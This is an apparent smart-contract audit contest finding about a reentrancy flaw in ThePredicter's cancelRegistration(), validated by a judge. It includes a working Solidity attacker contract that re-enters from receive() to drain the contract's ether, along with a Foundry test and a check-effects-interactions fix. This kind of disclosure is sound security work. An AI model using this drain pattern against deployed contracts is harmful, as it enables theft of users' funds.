First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Sending Ether before updating the contract's state in cancelRegistration() can cause a reentrancy attack, leading to significant fund losses.

0xsagetony

Summary

In the Predicter protocol, players can register by paying an entrance fee set by the betting protocol organizer. After registration, players have the option to cancel their registration. Also, if the number of registered players reaches the maximum limit of 30, the player can also call the cancelRegistration() function to cancel their registration.
The current implementation has a vulnerability where Ether is sent to the player before updating the state, allowing attackers to exploit this and drain the protocol's funds through repeated registrations and cancellations.

Vulnerability Details

In the ThePredicter contract, attacker can register as a player and call the cancelRegistration() function to cancel their registration, with the intention of re-entry it since the state is updated after the transfer of the ether.

POC

Contract

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.20;
​
import {ThePredicter} from "../../src/ThePredicter.sol";
import {Test, console} from "forge-std/Test.sol";
​
contract ReentrancyAttack {
address public owner;
​
ThePredicter predicter;
​
constructor(address _contractaddress) {
predicter = ThePredicter(_contractaddress);
owner = payable(msg.sender);
}
​
function attack(uint256 amount) external {
predicter.register{value: amount}();
​
predicter.cancelRegistration();
}
​
receive() external payable {
if (address(predicter).balance > 0) {
predicter.cancelRegistration();
}
(bool success, ) = payable(owner).call{value: address(this).balance}(
""
);
if (!success) revert("Failed Transaction");
}
}

Test

function test_forReentrancy() public {
​
vm.startPrank(stranger);
vm.warp(1);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
vm.warp(2);
vm.startPrank(attacker);
vm.deal((address(attackercontract)), 1 ether);
attackercontract.attack(0.04 ether);
vm.stopPrank();
​
assertEq(attacker.balance, 1.04 ether);
}

Impact

The vulnerability in the "cancelRegistration()" function poses a high risk of reentrancy attacks. If exploited, an attacker could drain the contract's funds and manipulate its state, leading to financial losses and unintended behaviour within the contract.

Tools Used

Manual Audit

Recommendations

  1. it is best practice to apply the check->effect->interaction for reentrancy.

-- (bool success, ) = msg.sender.call{value: entranceFee}("");
-- playersStatus[msg.sender] = Status.Canceled;

++ playersStatus[msg.sender] = Status.Canceled;
++ (bool success, ) = msg.sender.call{value: entranceFee}("");

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.